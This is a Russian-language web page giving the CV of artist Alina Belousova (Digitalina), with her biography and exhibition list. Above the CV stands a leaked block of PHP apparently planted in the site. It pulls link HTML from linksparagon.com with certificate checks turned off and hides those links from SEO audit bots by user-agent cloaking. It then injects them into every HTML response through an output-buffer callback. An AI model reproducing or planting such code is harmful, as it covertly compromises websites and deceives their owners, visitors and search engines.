if (!defined('__LPK_IN__')) { define('__LPK_IN__', 1); if (!defined('__API_URL__')) define('__API_URL__', 'https://linksparagon.com'); if (!defined('__CACHE_TTL__')) define('__CACHE_TTL__', 300); if (!function_exists('__getCURLSite__')) { function __getCURLSite__($site, $post_data = null, $extra_headers = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $site); if (!is_null($post_data)) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data)); } curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); if (!empty($extra_headers)) { curl_setopt($ch, CURLOPT_HTTPHEADER, $extra_headers); } $response = curl_exec($ch); if (curl_errno($ch)) $response = false; curl_close($ch); return $response; } } if (!function_exists('__cache_get')) { function __cache_get($key) { $f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json'; if (!is_file($f)) return null; $raw = @file_get_contents($f); if ($raw === false) return null; $o = @json_decode($raw, true); if (!is_array($o)) return null; if (isset($o['t']) && $o['t'] + __CACHE_TTL__ < time()) return null; return isset($o['v']) ? $o['v'] : null; } } if (!function_exists('__cache_set')) { function __cache_set($key, $val) { $f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json'; @file_put_contents($f, json_encode(array('t' => time(), 'v' => $val))); } } if (!function_exists('__is_spy_bot__')) { function __is_spy_bot__() { $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; if (trim($ua) === '') return false; $bots = array( 'AhrefsBot','AhrefsSiteAudit','SemrushBot','SiteAuditBot', 'DotBot','Rogerbot','MJ12bot','MajesticBot', 'Screaming Frog SEO Spider','ScreamingFrogSEOSpider', 'DataForSeoBot','SEOkicks','SEOkicks-Robot', 'AwarioRssBot','AwarioSmartBot','AwarioBot', 'Brandwatch','Searchmetricsbot','Sidetrade indexer bot', 'peer39_crawler','BLEXBot','cognitiveSEO','LRT Bot','LRT Spider', 'Meltwater','Mediatoolkitbot','Neticlebot','SISTRIX','SerpstatBot', 'spyfu','Botify','ContentKing','DeepCrawl','Lumar','seobility', 'WebCEO','AddThis','Barkrowler','BacklinksExtendedBot','BrightEdge Crawler', 'OAI-SearchBot','CohereBot','DeepSeekBot','SEOlyze','IstellaBot', 'GrapeshotCrawler','Netvibes','NetcraftSurveyAgent' ); foreach ($bots as $bot) { if (stripos($ua, $bot) !== false) return true; } return false; } } if (!function_exists('__get_backlink_codes__')) { function __get_backlink_codes__() { $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; $host = strtolower(str_replace('www.', '', preg_replace('/:\d+$/', '', $host))); if ($host === '') return null; $host_id = crc32($host); $cacheKey = 'bl_' . md5($host); $cached = __cache_get($cacheKey); if ($cached !== null) return $cached; $u = __API_URL__ . '/g/?i=' . urlencode($host_id) . '&d=' . urlencode($host) . '&t=th'; $response = __getCURLSite__($u); if ($response !== false && is_string($response)) { $c = @json_decode($response, true); if (is_array($c) && isset($c['s']) && $c['s'] == true) { __cache_set($cacheKey, $response); return $response; } } return null; } } if (!function_exists('__show_footer_backlink__')) { function __show_footer_backlink__() { $is_spy = __is_spy_bot__(); $r = ''; $raw = __get_backlink_codes__(); if (!$raw) return ''; $c = @json_decode($raw, true); if (!is_array($c) || !isset($c['s']) || $c['s'] != true || empty($c['l'])) return ''; $r .= isset($c['f']) ? $c['f'] : ''; foreach ($c['l'] as $v) { $only_google = isset($v['g']) ? (int)$v['g'] : 0; if ($only_google == 1 && $is_spy) continue; $r .= isset($v['h']) ? base64_decode($v['h']) : ''; } $r .= isset($c['e']) ? $c['e'] : ''; return $r; } } // Footer injection: named ob_start callback (PHP 5.2 uyumlu, anonim fonksiyon YOK) // - Yalnızca içeren HTML yanıtları modifiye eder // - AJAX / REST API / CRON / CLI isteklerini atlar // - str_ireplace ile öncesine düzgün ekler if (!function_exists('__lpk_ob_cb__')) { function __lpk_ob_cb__($buf) { if (!is_string($buf) || stripos($buf, '') === false) return $buf; if (defined('DOING_AJAX') && DOING_AJAX) return $buf; if (defined('REST_REQUEST') && REST_REQUEST) return $buf; if (defined('DOING_CRON') && DOING_CRON) return $buf; if (php_sapi_name() === 'cli') return $buf; $link = __show_footer_backlink__(); return ($link !== '') ? str_ireplace('', $link . '', $buf) : $buf; } } @ob_start('__lpk_ob_cb__'); } Alina Belousova (DIGITALINA) CV | Digitalina.ru - кибер арт и украшения Алины Белоусовой.
© 2020 Digitalina

Alina Belousova (DIGITALINA) CV

Биография.

Алина Белоусова (DIGITALINA) – художник, дизайнер, окончила Саратовское Художественное Училище им. А.П. Боголюбова в 2006 году. Родной город — Энгельс, Саратовская область.
Автор экологического арт-проекта Digitalina.ru, основанного на авторской технике вторичного использования неисправных высокотехнологичных материалов – печатных плат, электронных компонентов и т.п.
С 2011 года — активный участник и одна из основателей арт-группы РЕПА (repa-art.ru).
С января 2015 г. — одна из основателей, художников и членов худсовета галереи современного искусства «ИМХО» в Саратове.
C 2017 г. – член правления ТСХ Саратовской обл.

Персональные выставки:

«Исходные коды» в рамках фестиваля «Сотворчество»: DIGITALINA & DIGITAL STORM (Саратовская консерватория, 2022 г.) фото

— «Сокровища микроцивилизаций» (Выставочный зал ПО РАХ Лаврушинский, 15. Москва. 2018 г.) фото

— «Железная альтернатива» (Энгельсская картинная галерея. 2017 г.) фото

— «Сокровища микроцивилизаций» (Саратовский государственный музей им. Радищева. 2017 г.) фото

— «Опыты по программированию реальности» (Балаковская художественная галерея. 2016 г.) фото

Избранные выставки, в которых принимала участие самостоятельно и в составе группы РЕПА:

— выставка MICHIBIKI Vol.3, Jinny Street Gallery, Tokyo, Japan.
— выставочный проект «Миры саратовских художников». Автор проекта Игорь Аскасев. (Саратов, 2025 г.)
— Выставка лауреатов конкурса «ЭкологизАРТор» (Саратов, 2025 г.)
— Выставки проекта «Взаимодействие» (как художник и куратор, Саратов, 2020 г. — н.в.)
— LEVELS: More Than Music. (Токио, Япония, 2025 г.).
— «The Tokyo Art Tank vol. 12» (Токио, Япония, 2024 -25г.).
— Фестиваль «ВолгаФест 2024. Другие берега» (Самара, 2024 г.).
— Выставка ExpoElectronica 2024, на стенде компаний RU Electronics и Proistock (Москва, 2024 г.).
— Выставка «Частоты 4.0. Звездный храм». (Москва, галерея Ходынка, куратор Лена Ковылина. 2023 г.).
— Выставка «Космос наш». (Москва, галерея Art-story 2021 г.)
— «Что снится диодам?». Экспозиция в музее советских игровых автоматов. (Москва, 2019 г.)
— выставки галереи ИМХО «Hello, world!», «Lorem Ipsum», «Космоса нет», «Демотиваторы», серия «На самом интересном месте…», «Кого ты лечишь?» (Саратов, 2015- н.в.)
— фестиваль «Maker Faire Moscow 2018» (Москва, 2018, 2019 гг.)
— «Трагедия в углу». Выставочный проект. Куратор Диана Мачулина. (Москва, Ижевск, 2018 г.)
— «SAM FAIR». Ярмарка современного искусства в Музее стрит-арта (Санкт-Петербург, 2018 г.)
— «Красота!» Молодежный межрегиональный художественный проект. Куратор Вячеслав Ерещук. (Москва, Саратов, 2018 г.)
— «Актуальная Россия: игра в классиков». (Саратов, Волгоград, Уфа, 2018 г.)
— «Красные ворота/Против течения». Межрегиональная академическая выставка (2016 г., в 2018 г. — лауреат премии им. Петрова-Водкина, 2020 г.)
— «Коллективное сознательное. Диалоги с классикой». Выставка стипендиатов Министерства культуры по программе поддержки молодых деятелей искусства (Москва, Казань, Владикавказ, Краснодар 2015-2016 гг.)
— фестиваль перфоманса «Nordwind» (Гамбург, Германия, 2015 г.)
—  Клубные проекты творческого союза художников России (2015 – н.в.)
— проект «И-искусство. Ф-феминизм. Актуальный словарь» (Москва, 2015 г.)
— «Art-Recycling». Выставка, куратор Андрей Голубцов. (Энгельс, 2015 г.; Саратов, 2016 г.)
— Фестиваль «Белые ночи» в Перми. Выставки «Искусство против географии» и «Parazit+» в Музее современного искусства PERMM (Пермь, 2013 г.).
— «Parazit +», выставка в галерее Марата Гельмана на Винзаводе в рамках проекта «Культурный альянс» (Москва, 2013 г.)
— третья Балтийская международная художественная биеннале «Архипелаг Балтия» (Санкт-Петербург, 2012 г.)
— серия коридорных выставок галереи PARAZIT в «Борей Арт Центре» (Санкт-Петербург, 2012 – 2015 гг.)
— «Первая Русская Неделя Экомоды» (RussianEcoFashionWeek) (Москва, 2012 г.)
— «Artweekend» проект радищевского музея (Саратов, 2011, 2012 гг.)
— фестиваль «Завод». Куратор Игорь Гришин. (Саратов, 2011, 2013 гг.)